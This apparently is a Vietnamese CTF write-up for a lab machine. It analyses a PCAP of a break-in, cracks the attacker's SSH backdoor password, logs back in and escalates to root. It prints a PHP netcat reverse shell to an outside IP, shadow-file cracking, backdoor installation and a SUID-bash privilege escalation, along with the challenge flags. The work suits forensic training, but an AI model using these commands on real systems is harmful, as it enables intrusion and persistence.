Analyse the PCAP

Packet 14 là một gói tin HTTP gửi yêu cầu đến endpoint /development/upload.php nên /development có thể là trang được dùng để upload reverse shell:

POST /development/upload.php HTTP/1.1\r\n

Kiểm tra file được upload thì thấy tồn tại một đoạn code dùng để gửi reverse shell như sau:

<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>

Tip

Chọn một packet có flag PSH (PUSH) nào đó, chuột phải chọn “Follow”, chọn “TCP Stream” thì sẽ xuất ra được toàn bộ các input và output đã diễn ra thông qua giao thức TCP.

Ta thấy hacker đã nhập lệnh sau:

www-data@overpass-production:/var/www/html/development/uploads$ su james

Password mà hacker đã nhập vào là:

whenevernoteartinstant

Tiếp theo hacker kiểm tra quyền sudo của user james:

james@overpass-production:~$ sudo -l
 
Matching Defaults entries for james on overpass-production:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
 
User james may run the following commands on overpass-production:
    (ALL : ALL) ALL

Cũng như là hiển thị ra các mật khẩu đã được băm ở trong /etc/shadow:

james@overpass-production:~$  sudo cat /etc/shadow

Ta lưu lại danh sách các mật khẩu này với tên file là passwords.hash và dùng John the Ripper thể crack như sau:

john --wordlist=/usr/share/wordlists/fasttrack.txt passwords.hash
john --show passwords.hash

Output có dạng username:password như sau:

paradox:secuirty3
szymex:abcd123
bee:secret12
muirland:1qaz2wsx

Ta còn thấy hacker tải một chương trình backdoor ở trên GitHub về:

james@overpass-production:~$ git clone https://github.com/NinjaJc01/ssh-backdoor

Sau đó hacker tạo khóa RSA :

james@overpass-production:~$ cd ssh-backdoor
james@overpass-production:~/ssh-backdoor$ ssh-keygen
 
Enter file in which to save the key (/home/james/.ssh/id_rsa): id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
 
Your identification has been saved in id_rsa.
 
Your public key has been saved in id_rsa.pub.

Cũng như là gán quyền thực thi cho backdoor rồi chạy backdoor:

james@overpass-production:~/ssh-backdoor$ chmod +x backdoor
james@overpass-production:~/ssh-backdoor$ ./backdoor -a 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

Sau khi chạy thì chương trình mở thêm một SSH ở port 2222:

SSH - 2020/07/21 20:36:56 Started SSH backdoor on 0.0.0.0:2222

Analyse the Code

Tải backdoor về, chạy thử thì thấy default hash là:

bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3

Đọc code của file main.go thì thấy salt được gán cứng là:

1c362db832f3f864c8c2fe05f2002a05

Hash mà hacker dùng là:

6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

Ta xây dựng một file có tên là backdoor.hash có định dạng hash:salt như sau:

6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05

Sử dụng Hashcat để crack như sau:

hashcat -m 1710 -o result.txt backdoor.hash /usr/share/wordlists/rockyou.txt

Với:

  • -m 1710 là để chỉ định thuật toán SHA512 với định dạng mật khẩu ở trong file là hash:salt1.
  • -o result.txt là để chỉ định tên file đầu ra.
  • /usr/share/wordlists/rockyou.txt là wordlist mà ta sẽ sử dụng để crack hash.

Nội dung của result.txt sau khi crack thành công là:

6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05:november16

Trong đó nội dung gốc trước khi hash là:

november16

Đây cũng chính là …

Attack - Get Back In!

Chạy Nmap để thăm dò:

nmap -sC -sV -A -T3 -oN nmap.txt 10.10.39.212
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e4:3a:be:ed:ff:a7:02:d2:6a:d6:d0:bb:7f:38:5e:cb (RSA)
|   256 fc:6f:22:c2:13:4f:9c:62:4f:90:c9:3a:7e:77:d6:d4 (ECDSA)
|_  256 15:fd:40:0a:65:59:a9:b5:0e:57:1b:23:0a:96:63:05 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: LOL Hacked
|_http-server-header: Apache/2.4.29 (Ubuntu)
2222/tcp open  ssh     OpenSSH 8.2p1 Debian 4 (protocol 2.0)
| ssh-hostkey:
|_  2048 a2:a6:d2:18:79:e3:b0:20:a2:4f:aa:b6:ac:2e:6b:f2 (RSA)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Phát hiện thấy ngoài port 22 thì còn có port 2222 cũng cho phép sử dụng SSH. Ta kết nối như sau:

ssh james@10.10.39.212 -p 2222 -oHostKeyAlgorithms=+ssh-rsa

Với -oHostKeyAlgorithms=+ssh-rsa là để OpenSSH chấp nhận sử dụng thuật toán RSA.

Nhập mật khẩu là:

november16

Dùng lệnh sau để tìm kiếm flag của user:

find / -name user.txt 2>/dev/null

Thu được flag là:

Success

thm{d119b4fa8c497ddb0525f7ad200e6567}

Privilege Escalation

Tìm kiếm các file có SUID bit bằng câu lệnh sau:

find / -type f -perm -04000 -ls 2>/dev/null

Ta tìm được binary:

268869   1088 -rwsr-sr-x   1 root     root        1113504 Jul 22  2020 /home/james/.suid_bash

Đây chỉ đơn giản là một bash shell. Tra cứu trên GTFOBins và dùng lệnh sau để chạy nó dưới quyền root:

./.suid_bash -p

Sau khi có shell của root thì ta tìm flag như sau:

find / -name root.txt 2>/dev/null

Thu được flag là:

Success

thm{d53b2684f169360bb9606c333873144d}

Resources

Footnotes

  1. xem thêm về các hash mode của Hashcat: https://hashcat.net/wiki/doku.php?id=example_hashes